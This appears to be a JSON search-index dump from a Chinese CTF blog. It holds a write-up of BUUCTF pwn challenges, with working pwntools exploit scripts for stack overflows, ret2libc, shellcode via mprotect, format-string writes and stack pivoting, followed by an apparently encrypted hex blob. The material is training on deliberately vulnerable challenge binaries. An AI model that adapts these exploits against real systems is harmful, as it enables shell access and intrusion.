return system("/bin/sh");}\n\n在返回后门函数前,加一个ret指令保持栈平衡。\n\nexpfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfret=0x401198payload=b'a'*23+p64(ret)+p64(0x401186)sl(payload)ia()\n\nwarmup_csaw_2016#ret2text\n程序中存在输出flag函数,指向使程序返回到flag函数即可。\nint sub_40060D(){ return system("cat flag.txt");}\n\n\nexp\n\nfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf payload=b'a'*72+p64(0x40060E)sl(payload)ia()\n\nciscn_2019_n_1#ret2text \n分析程序发现存在无限制栈溢出\nint func(){ char v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h] v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125");}\n\n直接打ret2text\nfrom pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf payload=b'a'*44+p32(0x41348000) sl(payload) ia()\n\npwn1_sctf_2016#ret2text #cpp\nC++代码审计\n将I字符替换成you字符,1个字符替换为3个字符产生溢出。\nprintf("Tell me something about yourself: "); //从edata输入流中读取最多31个字符到input缓冲区。fgets(input, 32, edata); //将input中的内容赋值给一个 std::string 对象 ::input。//这是一个全局的 std::string对象。std::string::operator=(&::input, input); //创建一个 std::alloccator<char>对象v5。std::allocator 是一个内存//分配器,用于分配原始内存。std::allocator<char>::allocator(&v5); //使用v5分配器,将字符串you初始化为一个新的std::string对象v4std::string::string(v4, "you", &v5); //创建另一个std::allocator<char>对象v7std::allocator<char>::allocator(v7); //使用v7分配器,将字符串 I 初始化为另一个 std::string 对象v6std::string::string(v6, "I", v7); //调用一个名为 replace 的函数或方法,将字符串v3进行某种替换操作。replace(v3); //使用v6个v4中的值替换v3中的某些部分,然后将结果赋值给::inputstd::string::operator=(&::input, v3, v6, v4); //析构v3字符串对象,释放其占用的内存std::string::~string(v3); //析构v6字符串对象,释放其占用的内存std::string::~string(v6); //析构v7分配器对象,释放其管理的内存std::allocator<char>::~allocator(v7); //析构v4字符串对象,释放其占用的内存std::string::~string(v4); //析构v5分配器对象,释放其管理的内存std::allocator<char>::~allocator(&v5); //从::input获取C风格的字符串指针并赋值给v0v0 = std::string::c_str(&::input); //将v0中的字符串复制到input中strcpy(input, v0); //打印inputreturn printf("So, %s\\n", input);\n\n\nexp#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]sys=0x08048f0dpayload=b'I'*20+b'a'*4+p32(sys)sl(payload)ia()\n\njarvisoj_level0#ret2text #栈平衡\n通过gadget传参/bin/sh,然后执行system函数。\nret栈平衡\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]off=136sh=0x00400684sys=0x00400460rdi=0x0000000000400663ret=0x0000000000400431payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\n[第五空间2019 决赛]PWN5#格式化字符串 \n\nexp1\n\nfrom pwn import *context.os = 'linux'context.arch = 'i386'#context.log_level = 'debug'io = process('./pwn')payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'io.sendline(payload)io.sendline(str(0x10101010))io.interactive()\n\n\nexp2\n\nfrom pwn import *io = process("./pwn")#io = remote("node4.buuoj.cn",25068)elf = ELF('./pwn')atoi_got = elf.got['atoi']system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})io.sendline(payload)io.sendline(b'/bin/sh\\x00')io.interactive()\n\njarvisoj_level2简单ret2text\nciscn_2019_n_8#变量覆盖通过溢出覆盖变量使变量满足条件拿到shell\nida的LL表示长整型值即8个字节,所以需要64位比较。\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()payload=b'a'*52+p64(17)s(payload)ia()\n\nbjdctf_2020_babystack#ret2textexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfr()rdi=0x0000000000400833ret=0x0000000000400561sh=0x00400858sys=elf.plt.systemsl(b'300')payload=b'a'*24+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sa(b'name?\\n',payload)ia()\n\n\nciscn_2019_c_1#ret2libcexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfmain=0x4009a0rbx_rbp=0x0000000000400aecrdi=0x0000000000400c83rsi_r15=0x0000000000400c81ret=0x00000000004006b9off=0x58payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])ru("Input your choice!\\n")sl(b"1")ru("Input your Plaintext to be encrypted\\n")sl(payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))success("puts_addr -> {:#x}".format(puts_addr))libc=LibcSearcher("puts",puts_addr)libc_base=puts_addr-libc.dump("puts")sh=libc_base+libc.dump("str_bin_sh")sys=libc_base+libc.dump("system")pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)ru(b"Input your choice!\\n")sl(b"1")ru(b"Input your Plaintext to be encrypted\\n")sl(pay)ia()\n\nget_started_3dsctf_2016#ret2shellcode #调用mprotect修改内存权限\nexp\nfrom pwn import *pwnfile="./get_started_3dsctf_2016"io=process(pwnfile)elf=ELF(pwnfile)context(log_level="debug",arch="i386")mprotect_addr=elf.symbols["mprotect"]read=elf.symbols["read"]mem_addr=0x080Ea000mem_size=0x1000mem_proc=0x7#pop ebp; pop esi; pop edi; retpop_addr=0x0809e4c5payload=b"a"*0x38+p32(mprotect_addr)payload+=p32(pop_addr)payload+=p32(mem_addr)+p32(mem_size)+p32(mem_proc)payload+=p32(read)payload+=p32(pop_addr)payload+=p32(0)+p32(mem_addr)+p32(0x100)payload+=p32(mem_addr)io.sendline(payload)#pwntools生成shellcodepay=asm(shellcraft.sh())#也可以手写编码#pay="\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80"io.sendline(pay)io.interactive()\n\njarvisoj_level2_x64简单ret2text\n[HarekazeCTF2019]baby_rop简单ret2text\nothers_shellcodenc连接\n[OGeek2019]babyrop#ret2libc #字符串截断\n32位ret2libc,LibcSearcher无法搜索到libc\n不过题目提供了libc\nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc-2.23.so")payload=b'\\x00'+b'\\x99\\xff\\xff'+b'\\xff\\xff\\xff'+b'\\xff\\xff\\xff's(payload)payload=b'a'*(231+4)+p32(elf.plt.write)+p32(0x80487d0)+p32(0x1)+p32(elf.got.write)+p32(0xff)r()s(payload)pause()addr=u32(r(4))print(hex(addr))#libc=LibcSearcher("write",addr)#base=addr-libc.dump("write")#sys=base+libc.dump("system")#sh=base+libc.dump("str_bin_sh")base=addr-libc.sym.writesys=base+libc.sym.systemsh=base+next(libc.search("/bin/sh\\x00"))payload=b'a'*(231+4)+p32(sys)+p32(0)+p32(sh)s(payload)ia()\n\nciscn_2019_n_5简单ret2libc\nnot_the_same_3dsctf_2016#ret2shellcode \n程序为32位静态编译,没有栈溢出和pie保护\n程序中存在危险函数gets,并且text段存在mprotect函数\n我们可以通过执行mprotect函数修改内存权限\n再通过read函数将shellcode读入内存\n之后通过栈溢出返回地址执行shellcode\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfcontext.arch=elf.archp3=0x08050b45off=45mprotect=0x806ed40read=elf.sym.readaddr=0x80eb000payload=b'a'*offshellcode=asm(shellcraft.sh())payload+=p32(mprotect)+p32(p3)payload+=p32(addr)+p32(0x100)+p32(0x7)payload+=p32(read)+p32(p3)payload+=p32(0)+p32(addr)+p32(0x100)payload+=p32(addr)sl(payload)sl(shellcode)ia()\n\nciscn_2019_en_2exp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=0x58r()sl("1")rdi=0x0000000000400c83ret=0x00000000004006b9payload=off*b'\\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)sl(payload)puts_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))libc=LibcSearcher("puts",puts_addr)base=puts_addr-libc.dump("puts")sys=base+libc.dump("system")sh=base+libc.dump("str_bin_sh")r()sl("1")payload=off*b'\\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\nciscn_2019_ne_5\n查保护\n\n发现程序为32位程序,没有canary和pie保护。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)\n\n\n分析\n\n由于程序将一个长字符串复制到一个短的字符数组中,所以产生了栈溢出\n并且程序中存在system函数和sh字符串可以通过ret2text进行利用\n\nexp\n\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsh=0x080482ear()sl("administrator")r()sl("1")payload=b'a'*(0x48+4)+p32(elf.sym.system)+p32(elf.sym.main)+p32(sh)sl(payload)ru("0.Exit\\n:")sl("4")ia()\n\n铁人三项(第五赛区) _ 2018_rop#ret2libc #32位 \nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfcontext.arch=elf.archoff=0x8cpayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["write"])+p32(0x20)sl(payload)write=u32(r(4))print(hex(write))libc=LibcSearcher("write",write)base=write-libc.dump("write")sh=base+libc.dump("str_bin_sh")sys=base+libc.dump("system")pay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)r()sl(pay)ia()\n\nbjdctf_2020_babystack2#整数溢出 #ret2text \n在text段我们发现了backdoor函数。\n但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n第一个输入如果大于有符号数的10,程序就会退出。\n但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n如果我们第一个输入输入的是-1,就可以绕过限制,并且输入无限制的数据。\n所以我们第一此输入发送-1,第二次发送payload\nexp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfru("name:\\n")sl("-1")ret=0x0000000000400599payload=b'a'*24+p64(0x40072A)r()sl(payload)ia()\n\nbjdctf_2020_babyrop#ret2libc \n简单ret2libc\nexp\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfrdi=0x0000000000400733payload=b'a'*40+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)r()sl(payload)addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))print(hex(addr))libc=LibcSearcher("puts",addr)base=addr-libc.dump("puts")sys=libc.dump("system")+basesh=libc.dump("str_bin_sh")+basepayload=b'a'*40+p64(rdi)+p64(sh)+p64(sys)sl(payload)ia()\n\njarvisoj_fm#格式化字符串 #任意地址写\n\n查保护\n\n分析\n\n\n利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而我们的x参数的地址,正好是4位,\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=p32(0x804A02C)+b"%11$n"sl(payload)ia()\n\njarvisoj_tell_me_something\n查保护\n\n只有NX保护。\n➜ 11-01 checksec ./guestbook Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)\n\n\n分析\n\n分析主函数\n程序调用read可以向栈上输入0x100字节大小的数据,判断存在栈溢出。\nint __fastcall main(int argc, const char **argv, const char **envp){ __int64 v4; // [rsp+0h] [rbp-88h] BYREF write(1, "Input your message:\\n", 0x14uLL); read(0, &v4, 0x100uLL); return write(1, "I have received your message, Thank you!\\n", 0x29uLL);}\n\n函数表中发现函数good_game,函数打开了flag.txt文件并将其读入到了局部变量中,并且将内容一个字节一个字节的输出到标准输出。\nint good_game(){ FILE *v0; // rbx int result; // eax char buf[9]; // [rsp+Fh] [rbp-9h] BYREF v0 = fopen("flag.txt", "r"); while ( 1 ) { result = fgetc(v0); buf[0] = result; if ( result == 0xFF ) break; write(1, buf, 1uLL); } return result;}\n\n我们通过栈溢出让程序返回到good_game函数即可输出flag。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfpayload=b'a'*136+p64(0x400620)r()s(payload)ia()\n\nciscn_2019_es_2#栈迁移 \n\n查保护\n\n分析\n\nexp\n\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfleave = 0x080484B8system_addr = elf.symbols['system']s(b'a'*36 + b'bbbb')ru(b'bbbb')ebp = u32(r(4))print("ebp",hex(ebp))#ebp-0x28指向/bin/shpayload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\\x00').ljust(0x28, b'a')payload += p32(ebp-0x38) + p32(leave)s(payload)ia()\n[HarekazeCTF2019]baby_rop#ret2libc #printf_plt\n2.利用printf函数泄露libc地址,然后进行ret2libc\n将printf函数的第一个地址设置为程序中已有的格式化字符串。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")rdi=0x0000000000400733ret=0x00000000004004d1rsi_r15=0x0000000000400731arg1=0x400790payload=b'a'*40+p64(rdi)+p64(arg1)+p64(rsi_r15)+p64(elf.got.read)+p64(0)+p64(elf.plt.printf)+p64(0x400636)r()sl(payload)addr=u64(ru(b"\\x7f")[-6:].ljust(8,b"\\x00"))base=addr-libc.sym.readprint("base",hex(base))sys=base+libc.sym.systemsh=base+libc.search("/bin/sh\\x00").__next__()print("system",hex(sys))print("sh",hex(sh))payload=b'a'*40+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sl(payload)ia()\n\npicoctf_2018_rop chain#ret2libc \n#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("./libc.so.6")rdi=0x0000000000400733ret=0x00000000004004d1payload=b'a'*28+p32(elf.plt.puts)+p32(elf.sym.main)+p32(elf.got.puts)r()sl(payload)addr=u32(r(4))libc=LibcSearcher("puts",addr)base=addr-libc.dump("puts")sys=libc.dump("system")+basesh=base+libc.dump("str_bin_sh")payload=b'a'*28+p32(sys)+p32(elf.sym.main)+p32(sh)r()sl(payload)ia()\n\npwn2_sctf_2016#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc=ELF("/buu/32/libc-2.23.so")ru("read? ")sl("-1")off=48payload=b'a'*off+p32(elf.plt.printf)+p32(elf.sym.vuln)+p32(0x80486F8)+p32(elf.got.printf)ebx_esi_edi_ebp=0x0804864cint_80=0x080484d0r()sl(payload)ru("You said:")ru("You said: ")addr=u32(ru(b'\\xf7')[-4:])print("addr",hex(addr))ru("read? ")sl("-1")base=addr-libc.sym.printfsh=base+next(libc.search(b"/bin/sh\\x00"))sys=base+libc.sym.systempayload=b'a'*off+p32(sys)+b'a'*4+p32(sh)ru("data!\\n")sl(payload)ia()\n\njarvisoj_level3#!/usr/bin/env python3from pwncli import *from LibcSearcher import *cli_script()io: tube = gift.ioelf: ELF = gift.elfoff=140payload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["__libc_start_main"])+p32(4)r()sl(payload)addr=u32(ru(b'\\xf7')[-4:])print("addr",hex(addr))libc=ELF("/buu/32/libc-2.23.so")base=addr-libc.sym.__libc_start_mainsh=base+next(libc.search("/bin/sh\\x00"))sys=base+libc.sym.systempayload=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)r()s(payload)ia()\n\nciscn_2019_s_3#ret2syscall\n\n查保护\n\n分析\n\nexp\n\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsyscall=0x0000000000400501rax=0x00000000004004E2ret=0x4003a9vul=0x4004edrdi=0x00000000004005a3#泄露栈地址payload=b'a'*0x10+p64(vul)s(payload)r(0x20)stack=u64(r(8))buf=stack-0x118#ret2csu payload=p64(ret)+b'/bin/sh\\x00'payload+=p64(rax)payload+=p64(0x40059a) #rdx=0payload+=p64(0)+p64(1) #rbx=0,rbp=1payload+=p64(buf)+p64(0)*3 #r12=buf_addrpayload+=p64(0x400580)payload+=p64(0)*7payload+=p64(rdi)+p64(buf+8)#rdi=/bin/shpayload+=p64(syscall)payload+=p64(vul)s(payload)ia()\n\nwustctf2020_getshell#ret2text \n代码段存在后门函数,直接打ret2text\n\nexpfrom pwn import *io=remote("node5.buuoj.cn",29410)sys=0x804851bpayload=b'a'*28+p32(sys)io.recv()io.sendline(payload)io.interactive()\n\n总结BUUCTF 第一页知识重点\n\nret2text以及栈平衡\nret2libc\nwrite函数泄露libc\nputs函数泄露libc\nprintf函数泄露libc\n\n\nret2shellcode,通过mprotect修改内存权限绕过NX\nret2syscall\nret2csu\n栈迁移\n格式化字符串\n泄露canary\n任意地址写\n\n\n整数溢出\n\n","categories":["wp"]}] \ No newline at end of file +[{"title":"学习周报","url":"/2024/10/27/%E5%AD%A6%E4%B9%A0%E5%91%A8%E6%8A%A5/","content":"\n \n ff1db8a7da5ac629a777255bf958924909cb5e4c6c1456ddc2db872d9cf23f2c63b7ffdad7794984d96401fea9c75b1da744e2046a85f23b95219cca150ed344f170b4db730020e64726b3b79c6fd8736966418bbbf114a543ec87c73b6cbd47f227c8b75544d7f4a40c23f981990615ad7287de41af78482ed881bc771da41d99a102cf160f18f055a57d4a5e9dc381d416ee33819f5369ec1c320230e3f81ebb611f5c02d0b170a0b7bb24870cb8724f523eb31e6e0d6557df21e988273ae1fb04677ee4440a67e2a7fcc00a1d8eefb1610868f7df9f70786e6dae5517200f7ccc25e06e95c43464dac486e10447afa0db2a539d9dae3c484b01f983d1d4d7190303e6e483e47228e32e92c4e2cda11e302dc4f954603a50b3958ea4ffa019867fdcae79128dbbbbe6e35a928d55022bf7b9108180539f9963a999b17126260b005486805e75417544f9d848b9989c9c1aca9317b103d510e39d3057d2501552a3963dc9df067b40f362cce1eb3f0292bf32b108b2ba50954affd8cc210de693604041e70cb0f2b12ce287bdf0c369210de3532a3a459d382ac3ee1d7f28b0c779449b22825daf31499936b77117f3a129af507c627df1299feb2e9d45cb7bb88a64d3bda67cabdc32ff83bc72658c9605f3b2ee348a67ed4f7d0109529e2135062af73674fa13d55a630582efeb5e67700b18b8529f6c355ac8a7e22afac87b385244f9db39df8c54df32515907a29a1f9ac10ffcc2c8563e786ed8cab7e08aaeb6025a27e48fd1659c8f3028530c48d4f5fcdc86a10153787936d63d606f1b16bb3f9d09db2c5ec684ef31e4724726cb6565eb34c3c4de75f9cc093c0299c721e0483fdf620f2265aebc7541a06093d2ed6c5e615f068872950958bbcc59deddce15f07233ca9460f873071d78a3f7e663e93a5375386939389463d5cdb90dc3799391a09f34908ccc4c55010acf98ef92cee530718a75045e82ec4f328cde20b590adc2495a9a19d2a9b3c3848bcb5bc41cf04f9c1c6e7e2c5f72623b1f2a964aedafe4c267b1f8da4ac8c9c0f4a9bf898f61ba392e96cf401cccd61d7b6399ba4a7bf67f5f3214c3f51d343388812dbdee1691ede59fdf8e7c535a4b71b40675e1bf2d023cfaf1fb25b02044ebe8664f33bae69fc80653f82635467a8fe7fe20d744b80922d4649a27cab834d017b190a8400b4dc8cfb64e2198e8804ffca349250ef38f91b02ae05bc52b94d462ff8c17d848a6cd734e175d4d5a6d0a8ba46f169004e47b6b3c5a50f959d7143276a800ef7b3be0e3300d5d290e2e9b835a5e742199bcbb4af439eb4d57ed17f74e3b27107a32fb979d50fff6cf48cc9da5586cd6680fd2ca04f14de6360c1aa728870f501fd824bbd99e8ad1c2280ddba7ef6bcfcdda128821e48ff32f2319b30dff6bd40593b88b952833ec8263c4488a400b24776730dc6620bbfd51563a0a92ebd8b9d512eb7ebc1455857aa0f230e3a4a707ed77149dbf0869fcf0f571657d28607ad6d02393a8bc769c4bc6f710da988ca1ff591e62e7eb1f43ac34e26095059bf56fbbb1c42567596d2ee3e7a654a01a0e2ff4fcfbacb7ccc411fb0509a9a5ccf4234fcc68f29969c25ac35a99401c058ad1842eb78d345d1dba45e34d067ed449af4d85c63c50a8664f2141cb6b6f1185fd22c81ec5cc1f6309efd3685ddd8ba910b958218f7fb84f8f611828c4db177975a39824fde6fcaa60140cfd57ff383b66922a713c946cbd7634654ec262d79cd7d659baedd90cbfe84a1155d87af90fcd353780372baa631f2a81ed2dc8cfd0df9028c13032b6ad8fe5f61a5b0e36304d40f3281bc1f879d4f2e6709a2c4bd4c01da498973c3e4048dbe7606cd302c82574e71f5f8e6cffb5d4c384e8a24a961e35aa6ecef4a7d6bb2af09020e52643fb66987a51e6c4f5d48dae345a544d9e6b0001859566b7b0d99c0ad5412ac70700d87ba2d62c05f6bed648bb0afc2fdd86c9e797813c869b07c65f7f9e6ca3128a0e22c833b2a6170741bd280de6f6cd9adc50153fc3347336c160e18e16bbc155431e3f86bdd7fa0c7dbcf9634495598ab1f7735a91d820a885b1ef0f8e560c2434dec552eb8bbd2389d62162a8e7a7ae9c006f9492970afed973e3089f3cba87e7f1aa5da6a83996ea808033c834f0864a9740baa76c19a5b3f69cce931a973fa91bcacfd203f5f1ed5d49bd46a9ac8205741593a4b812a16476e4244e62cef7a699ba454e0527d3c23efed03eaaf5fe8bdaa6eac45879e2d8b1f9ea8c40f1eb8139c1720a42f75ef7fe712152490f00ad040f582540ff6876f160d684d81e5c4ecd1d6660cd04ebc098c539230fae9a10fb766b409018d6d5546739f94c08a8e26fa431b7c5eba75fc67cf8aff27a908880530ed0cc5272ad30088d6f88a64ef18c37b4d8c337a3e93f5fc63b191fca579665e64e8419d818155d1d40a1bd3f537182d189aaf2ce150d1c661e6a02afc33ebf798872ef8fcd934b2cdcee4540797afa68ac47d738b2bbbc027a848a10465280acc996da13b33d634e324d834f56d3f8bced58268165a215426ed9ca96a38759322ea1790cb8352e74ffd5dae33dfbb1b83ea0ec24a76eac9b557c96fbb28c1c4f2d3b5261a32907fa65d5cd1ccc4dda17a5b210b10042659e2bd0f8ff2fb90c9b33ff01c275628030944b5bed0a974cb56bed644eec1eea154f37a6cc4b2142c7723ce5a41772987ecf7f4a03fd787cce73d95a99d415b86c36210d4dc6744123c4f03df552c5612dfb5c4c139645d219188c9ac743bc644d3db329fd4ca3cf6ff41d0636e8a6c9b46e524d44bc505f930d6b69f5615adca3d0157295288ed1058564cd2437d537bad787c44ff996d60088b7c331051a5188751f9c8cccbeb2f85f7afa5cdcf52c545392bfed8146386a039e0f085a457028995090ef1868a34a9f513347150a0034c2edb153bc64e99ac6e36b025cb078fa31a0b5c5543b0f58a7978f742c2661a2bdf70e580d6558e784f0c2ea87644cddf4486294fea4f1eef82c0738ea1dde64b25911a9124dd9938ed4ab74927ea6aa7da3599902bf710e25fb285b4bce168617b48df0877b6cd3be9d4556323e85931945824e1f58db98ffa396869e6edb2700daffa752cfdfb495f6efd22dffcee34c5dcc08a2ffd976ef724c5d78788493c36288f15dfd9f01fb0a82e6efb581c7127b2781df52150c290e1d2b96de3249ff6197e68013c15345e660eda9ea568a51b23421897bd0e54b00f744b59a6e8aa1df5ca59eb68039616f7d7ff6232e089e8a6c621fd1618e58a099702dfd022e4ffd2c9906a2860620f3ce2be6ecd3198e0d8476bc0dbddcb702046a5b25905d6c4f166e1aeae5e5d85dee577d9d15cecaeec944640d2bff6c07d25e0a12b699b6196f421fdf6e3188c40bb0542a0c83027749a6b0ce35fed98a3041a27498eb62aadc1b3cbc961644b7024603234c806f9d1f6a32a08229bbb7e3c7017a9dcf02c76ffd02de9aec221046f36fefe3418b82c68223d557f929d116fbe2b512562eb8e78fef4ba2a475b2b6095db65a280f3e7af697578f62cedcd67fcc6d2bd6a258a791aa633eb14fc4d588a7babd2c59b49d2231f81ee1d79e0db765d2577ed7fb798f335382461ff2a4957dfa778a03f8e861ad1badf36a5cc8df5ebfea9c06af48c5be6646e875806ea5561281aa01507e93e1869818a2951976e0fc214e369f0700c9974be92e125ce9389e788e62ed1120c62f810d06021e6b731210dd12cee58aa0ee3ed86588e86c5145c0ace3dc87029881c24519593a2afe282d041fa2b5b32dce1eb480b80592897ab52b2088f1d1a4a94e535ef93d8a11262bf6de393f2e7a2918915a6aac2a621c48dd9d3df2d2a79ed0c9be99dd29a87a927619a5f368398389233d0f99229d940cb9dfa5e5989c87e30b15cbae8880a1ee9554d1d6a0b15d0d119eb00dd97de866c57ed4441e038620f6e6f1c3a13647361160c062ac7203c02671872a7a7192c8f32d14338736dcda2129a2fd9e05afa109286edd533749a2f3783721d1ad0fbe7769cac72e87e61cc4eed8aa01b29c8febf1907764b9ea86d0c6db9dd0e74d43d32ab57b081dd0e57305674888ab37d917190418894fa92bde39718f8b9301995b046e73f90d5945a2de0d3bedd8be78acc2909feeabfc2d797e70b1c575d1b0cad8864b377f2d6c0c0797d30e9042f42cc727237e7599f6df396b637b453721f759124b0ab3ea75222e54c038248ce31986b948a70443910426eefb87af02fff084df3d8e73f683868b7a3b27a211ff9fdb929f440e31779e0c813df2126f56930bcc422cf9c18cbb1de855d172753c506493eed0171dd6d9e625ccf98dcfee940e49c626b801f7bb2142e6ededed7ffe8076eb2bea68b3fc1999dca636921f648b5ded51bf104062b9620afb100a90dc9e6c1504d1a0c1efb459f668d65ebd13681171d6771015451991c482cdd6918faaccf1daaeb104a9a5c70a0bb5da9d53a9a1c60da6f34bcf66a681c449debe821216995b1247a5ab9247607eddc18be8574cda4cc1aeaa634a4d945c273e49cd7478a6b90890d62be1e8d47ef5d6af516304a80e1d7f4ea538f13a4f71789530286bf3068e61eb172157876bd3fd0b43d9e243c899a5adb83fa463e60d4437c5af0039045051bad1b46c371aa6fdc4b16a414b0f2bc6fd0cc64f4e2b27c4271c640d792daa0b586af1900322430d1d555efffb56a468337ae3002f90a11c2f16a2a073b056d10d9792067941e010839f45b9207a14e373ba99f19c1ad666979d437e1e5fd36e7a836d0ce03ecb485e218da5a988fd0c12f8a71e26e93ba69c164b4bd02f59a4a480c80b1181d1830f885bf2a8ea85c790437050686663fe6663335f8f809f9fdc0be046859ef0b4372164b687dfbef73470e525c7cb9d95c403bcf85bf11e023bc79ed290cc9a3149d591b9203487e57ed0e3358d028930f1bae79833498a5810a657c82a9490569e6cfdd9d51f8f626c140350c9be63fcfd5ed7b64be5a29a638e72b4946075aceb61e08d36d94db05bcf38f209b9d3865651ea9581d2436e6d18980d29b4c711e8d84c96c376e2da60a5b34f4015f3483f5d3c7c81d7cb05f54d1298eb72335fd3afbf9acebc0ed0f68c37f2813ee5944372daa8ec83ecbc67e3323731b4210095d5e8f02bbd6e199ab4e2e86f4cf291ccaaf92c1b03d808fe9475e442f4cd7a5f6fbae5c0003b32b2b3e0034062f360ee74c5a443fc1efc4467a5eefa598053c19eef37d7c27c7d7da5b6f1350d12414bcbea4d3b206865c9b52e8208bef2fbfc52407b29ad9bbe7b63396938a1a46b46941ad6866512150adff41e9f945c2e492bd4c8780be5aa2b77482c75463fa0c5a01f6720cb714346391e7fbfa12dab14107e7eacf62b761d05a4e2e473435b9289318693170412e4eb81ba3294e7291beeb733adcc2896487bc49d6b411c78be5c7cc7fbafc6b46f9baa40a37b2f0682bcdd42c8a8e9e1b534f77d9e4d1af4c63be31f5d972316cd983af928225688e73b2e96600060ebaae9a8cf5dd0d49c44cc24fbc78d9fab7606a4ee3a81053f8148e2df740b4ee00acb80ad1087576f5b39f60846a675e063ee6a3d332d760fe4f22068e56610f08c9918bcd479607008e9a6e88e4600e2d974004994e70ec2d7faf2a10c3de216bf8f95ce91700bf7851faa7b5c30660d431f469d68ff669a782f87d09488b231ca91bd889420c8019c54f0fa63c31632824bc52bf28df5514e03cb466d21f51f9dcd8983bbbc109d9c0e51c1bfc5a46ce2b12ab85508c0c39d8d734db66674161ae2c447318ea79f90f7c254e827cf40c1191f3eaf042e8200655f108dd1300c66ffb3a45009d95305302e6ef2fb39ac80a290cd7f1936572eb3b2b5a6d0e33e1da6aa42fdf8ad22fc7d15f64ece0fa72295ecd92f34b7ac4505cd4d28a74977a56899411ff47def5e170aecfec83ae54d72909707e12766bd3367cc3affa2d67a6213279f68bcd67e21911a4cee7aae81bdfc6224f516de8c58d83d87f6382d385b24f6552b8dcdc7f79b30e4f9f4dbb4af616e5cf041569091f3ea668f18ddb40810df535e6959d923f98683dab5989157d7b73e31a48354710107b4c969df489c379361f05ca2cbc424dc6b35bf577c269aef72d852c2950e259025b77f07be0242886ee2798f52486769f22d5d966f14327077455c4702fb978a261ec276ceae0ebaa3f59864a46380ae47ad352f01b05e2be82fcc11932a441e7cd99e13f59ed96e4dce335469928d461cbd411e0aceefe27b662a329d376b6ac7f8d0cbf26360ebca562cefc5820fde3955294de250b307025d28225c0f6a8bcbede08022694ced2d84849683774b71195f81ac26b08def195de0e8e263b80825b6eb46bd931733dccee3f9b0b7edf2017342c017d15537da43f98cbf728ae8b3261447502478511882274248cf66ae31196552cee5a16d88a0c56c9a617ebe38c315a792e427eb5c7fac9114b17430eb4e11eda1d0287a1d3b0e53890383d0a5cf64870b0eb96a453a57385e4edf229cc2b5a47ea5d369c7645687cb6014afec1f36218f8d2ece59456a9a6a8883f6f92be8bad7926329443fee608057ca0bdb